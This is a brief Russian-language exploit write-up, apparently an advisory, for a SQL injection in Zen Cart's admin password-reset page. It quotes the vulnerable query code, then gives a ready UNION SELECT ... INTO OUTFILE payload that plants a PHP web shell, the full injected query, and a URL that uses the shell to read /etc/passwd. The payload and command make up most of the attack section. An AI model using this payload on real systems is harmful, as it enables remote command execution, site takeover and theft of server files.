Описание:
Уязвимый код находится в файле admin/password_forgotten.php
…
if (isset($_POST['submit'])) {
if ( !$_POST['admin_email'] ) {
$error_check = true;
$email_message = ERROR_WRONG_EMAIL_NULL;
}
$admin_email = zen_db_prepare_input($_POST['admin_email']);
$sql = "select admin_id, admin_name, admin_email, admin_pass from " .
TABLE_ADMIN . « where admin_email =
'» . $admin_email . «'»;
…
Эксплоит:
Для создания шелла можно передать в $admin_email такой запрос:
'UNION SELECT 0,0,'<?php system($_GET[cmd]); ?>',0 INTO OUTFILE
'[full_application_path]shell.php' FROM admin/*
Полный запрос будет выглядеть так:
select admin_id, admin_name, admin_email, admin_pass from admin where
admin_email = ''UNION SELECT 0,0,'<?php system($_GET[cmd]);?>',0 INTO OUTFILE
'[full_application_path]shell.php FROM admin/*'
Выполнение команд:
http://[target]/[path]/shell.php?cmd=cat%20/etc/passwd